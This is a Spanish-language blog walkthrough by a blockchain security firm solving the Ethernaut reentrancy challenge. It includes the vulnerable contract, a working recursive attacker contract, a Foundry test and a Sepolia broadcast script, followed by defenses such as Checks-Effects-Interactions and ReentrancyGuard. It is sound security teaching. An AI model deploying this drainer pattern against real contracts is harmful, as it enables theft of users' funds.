← Volver al blog
Mike B. - SecLat Security8 de junio de 2026

Ethernaut Level 10 Walkthrough: Explotando Reentrancy en Solidity

En este artículo analizaremos y resolveremos el reto número 10 de Ethernaut: Reentrancy

Este nivel introduce una de las vulnerabilidades más famosas y peligrosas en la seguridad de smart contracts: el Ataque de Reentrancy.

Además de resolver el reto, también entenderemos:

  • Qué es Reentrancy
  • Por qué las llamadas externas son peligrosas
  • Cómo los atacantes drenan contratos vulnerables
  • Cómo funcionan las funciones receive
  • Cómo construir un contrato atacante recursivo
  • Cómo validar el exploit usando Foundry y Sepolia
  • Cómo defenderse correctamente contra vulnerabilidades de Reentrancy

Si eres desarrollador, este artículo te ayudará a entender por qué las llamadas externas deben manejarse cuidadosamente en Solidity.

Si te interesa la seguridad de smart contracts, este reto te enseñará una de las vulnerabilidades más importantes jamás descubiertas en Ethereum.

Si quieres ver los videos donde resolví los niveles anteriores de Ethernaut y expliqué vulnerabilidades reales de smart contracts, puedes visitar nuestro canal en YouTube - Seclat

Descripción del Reto

El contrato vulnerable permite a los usuarios donar ETH y posteriormente retirar su saldo.

Los usuarios depositan ETH, sus balances son registrados y pueden retirar sus fondos cuando lo deseen.

El objetivo del reto es:

Drenar todo el ETH del contrato vulnerable.

Clasificación de la Vulnerabilidad

CategoríaValor
Vulnerabilidad:Reentrancy
Causa Raíz:Llamada externa antes de actualizar el estado
Impacto:Pérdida total de los fondos del contrato
Severidad:Crítica
Tipo de Ataque:Retiro recursivo de ETH

Análisis del Contrato Vulnerable

Este es el contrato vulnerable utilizado en el reto:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

Causa Raíz de la Vulnerabilidad

La vulnerabilidad existe porque el contrato realiza una llamada externa antes de actualizar el balance del usuario. Además, la función no implementa el patrón CEI (Checks-Effects-Interactions) ni utiliza un mecanismo de protección contra reentrancy.

La lógica vulnerable es:

(bool result,) = msg.sender.call{value: _amount}("");

seguida posteriormente por:

balances[msg.sender] -= _amount;

Esto viola uno de los principios de seguridad más importantes en Solidity:

Nunca realices interacciones externas antes de actualizar el estado interno.

El problema es que call() transfiere el control de ejecución al contrato receptor. Si el receptor es malicioso, puede ejecutar código arbitrario antes de que la función original termine su ejecución.

Esto permite que un atacante invoque recursivamente withdraw() múltiples veces antes de que su balance sea actualizado. Como resultado, el atacante puede retirar fondos repetidamente aunque solo haya depositado ETH una vez.

Entendiendo Reentrancy

Un ataque de Reentrancy ocurre cuando:

  1. Un contrato envía ETH a otro contrato externo.
  2. El contrato receptor ejecuta código durante la transferencia.
  3. El receptor vuelve a entrar en la función vulnerable.
  4. El estado interno aún no ha sido actualizado.
  5. El proceso se repite recursivamente.

Esto crea un ciclo donde el atacante drena continuamente los fondos del contrato.

El flujo simplificado del ataque se ve así:

withdraw()
    └── envía ETH al atacante
            └── receive() del atacante
                    └── withdraw() nuevamente
                            └── envía ETH otra vez
                                    └── repetir...

Esta vulnerabilidad se volvió famosa durante el DAO Hack de 2016, uno de los eventos más importantes en la historia de Ethereum.

¿Por Qué call() es Peligroso?

Las versiones modernas de Solidity recomiendan utilizar:

address.call{value: amount}("")

en lugar de transfer().

Sin embargo, call() reenvía gas dinámicamente y permite la ejecución arbitraria de código en el receptor.

Esto significa que los desarrolladores deben implementar protecciones adecuadas contra reentrancy siempre que utilicen llamadas externas.

Usar call() de forma segura requiere patrones como:

  • Checks-Effects-Interactions (CEI)
  • Reentrancy Guards
  • Arquitecturas Pull Payments

La vulnerabilidad no es causada por call() en sí.

El verdadero problema es realizar llamadas externas antes de actualizar el estado.

Estrategia del Ataque

Ahora que entendemos la vulnerabilidad, podemos diseñar el exploit.

Sabemos que:

  1. El contrato envía ETH utilizando call()
  2. La llamada externa ocurre antes de actualizar balances
  3. Podemos ejecutar código durante la recepción de ETH
  4. El balance permanece sin cambios durante la reentrada

Por lo tanto, nuestra estrategia será:

  1. Donarnos ETH a nosotros mismos
  2. Llamar a withdraw()
  3. Disparar retiros recursivos desde receive()
  4. Repetir hasta que el balance del contrato sea cero

Contrato Atacante

Crearemos el siguiente contrato atacante:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {console} from "forge-std/console.sol";

interface Reentrance {
    function balances(address) external returns (uint256);
    function donate(address) external payable;
    function balanceOf(address) external returns (uint256);
    function withdraw(uint256) external;
}

contract ReentrancyAttack {
    Reentrance public target;
    address public owner;

    constructor(address _target) {
        target = Reentrance(_target);
        owner = msg.sender;
    }

    /// @notice Inicia el exploit.
    function attack() external payable {
        require(msg.sender == owner, "Not owner");
        target.donate{value: msg.value}(address(this));
        target.withdraw(msg.value);
    }

    receive() external payable {
        uint256 balance = address(target).balance;

        console.log(
            "ReentrancyAttack received ether, balance of target:",
            balance
        );

        if (balance > 0) {
            target.withdraw(0.0001 ether);
        }
    }
}

Cómo Funciona el Exploit

El ataque funciona de forma recursiva.

Primero:

  1. Donamos ETH al contrato vulnerable.
  2. El contrato acredita nuestro balance.
  3. Llamamos a withdraw().

Luego:

  1. El contrato vulnerable nos envía ETH.
  2. Nuestra función receive() se ejecuta automáticamente.
  3. Volvemos a llamar a withdraw() antes de que el balance sea actualizado.
  4. El contrato vuelve a enviar ETH.
  5. El ciclo se repite hasta que el contrato queda sin fondos.

Debido a que la actualización del balance ocurre después de la llamada externa, el contrato cree que seguimos poseyendo el balance original durante cada llamada recursiva.

Validando el Exploit con Foundry

Después de clonar el repositorio de Ethernaut localmente, podemos crear un test con Foundry para validar el exploit.

// SPDX-License-Identifier: MIT
// Reentrancy_L10.t.sol
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {DummyFactory} from "src/levels/DummyFactory.sol";
import {ReentrancyAttack, Reentrance} from "test/Solutions/Attacks/ReentrancyAttack.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestReentrancy_L10 is Test, Utils {
    Ethernaut ethernaut;
    Reentrance instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);
        owner = users[0];
        vm.label(owner, "Owner");
        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        DummyFactory factory = DummyFactory(getOldFactory("ReentranceFactory"));
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = Reentrance(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether)));
        vm.stopPrank();
    }

    function testInit() public {
        vm.startPrank(player);
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
    }

    function testSolve() public {
        vm.startPrank(player);
        ReentrancyAttack attacker = new ReentrancyAttack(address(instance));
        attacker.attack{value: 0.0001 ether}();
        assertTrue(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }
}

Ejecutando el Test

Para ejecutar el test del exploit en un fork de Sepolia, ejecuta:

forge test --mp Reentrancy_L10.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vvv

Debes configurar la variable SEPOLIA_RPC dentro de tu archivo .env.

Si la terminal no reconoce la variable, ejecuta:

source .env

Una vez ejecutada, podremos verificar que el contrato vulnerable ha sido completamente drenado.

Resolviendo el Nivel en Sepolia

Ahora crearemos un script para ejecutar el exploit directamente contra la instancia de Ethernaut.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {ReentrancyAttack, Reentrance} from "test/Solutions/Attacks/ReentrancyAttack.sol";
import {console} from "forge-std/console.sol";

contract ReentrancyScript is Script {
    Reentrance public target;
    ReentrancyAttack public attacker;

    function setUp() public {
        target = Reentrance(payable("0xYourEthernautInstance"));
    }

    function run() public {
        vm.startBroadcast();
        attacker = new ReentrancyAttack(address(target));
        attacker.attack{value: 0.0001 ether}();
        console.log("Target balance:", address(target).balance);
        console.log("Attacker contract Balance:", address(attacker).balance);
        vm.stopBroadcast();
    }
}

Ejecutando el Script

Primero ejecutamos el script localmente:

forge script scripts/Reentrancy.s.sol --rpc-url $SEPOLIA_RPC

Si todo funciona correctamente, podemos enviarlo a Sepolia:

forge script scripts/Reentrancy.s.sol --rpc-url $SEPOLIA_RPC --broadcast \
--interactives 1 -vvv

Una vez que el exploit finalice, el balance del contrato vulnerable será cero y el nivel quedará resuelto exitosamente, ahora solo tienes que enviar la instancia en la pagina web de Ethernaut.

Cómo Prevenir Reentrancy

La defensa estándar contra Reentrancy es el patrón CEI.

Patrón Checks-Effects-Interactions

Este patrón requiere que los desarrolladores:

  1. Realicen primero las validaciones.
  2. Actualicen el estado en segundo lugar.
  3. Interactúen con contratos externos al final.

El código vulnerable:

(bool success,) = msg.sender.call{value: _amount}("");
balances[msg.sender] -= _amount;

debería convertirse en:

balances[msg.sender] -= _amount;
(bool success,) = msg.sender.call{value: _amount}("");
require(success);

Esto evita retiros recursivos porque el balance se actualiza antes de que ocurra la ejecución externa.

Reentrancy Guards

Otra mitigación común consiste en utilizar ReentrancyGuard de OpenZeppelin.

Ejemplo:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract Secure is ReentrancyGuard {

    function withdraw() external nonReentrant
    {
        // lógica segura
    }
}

Esto impide llamadas recursivas hacia funciones protegidas.

Lecciones Aprendidas

Este reto demuestra por qué las llamadas externas son una de las operaciones más peligrosas en Solidity.

Siempre que un contrato transfiera ETH o interactúe con contratos no confiables, los desarrolladores deben asumir que puede ocurrir ejecución arbitraria de código.

Lecciones clave de este nivel:

  • Nunca actualices el estado después de realizar llamadas externas.
  • Siempre asume que los contratos externos pueden ser maliciosos.
  • Utiliza CEI siempre que sea posible.
  • Protege funciones sensibles con ReentrancyGuard.
  • Minimiza las suposiciones de confianza durante transferencias de ETH.

Aunque Ethernaut simplifica los escenarios con fines educativos, las vulnerabilidades de Reentrancy han provocado algunas de las mayores pérdidas en la historia de DeFi.

Conclusión

En este reto explotamos una vulnerabilidad clásica de Reentrancy causada por realizar llamadas externas antes de actualizar el estado interno.

Creamos un contrato atacante recursivo capaz de retirar ETH repetidamente hasta que el balance del contrato vulnerable llegó a cero.

Este nivel es uno de los ejercicios más importantes de seguridad en smart contracts porque las vulnerabilidades de Reentrancy siguen siendo relevantes incluso en protocolos DeFi modernos.

Este reto es una excelente introducción a:

  • Ataques de Reentrancy
  • Llamadas externas recursivas
  • Patrones inseguros de transferencia de ETH
  • Principios de seguridad CEI
  • Desarrollo seguro en Solidity
  • Metodologías de explotación del mundo real

Puedes encontrar más contenido sobre seguridad Web3 en nuestro blog.

Si estás buscando una auditoría de seguridad para tu protocolo, puedes contactarnos a través de nuestro sitio web seclat.xyz.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.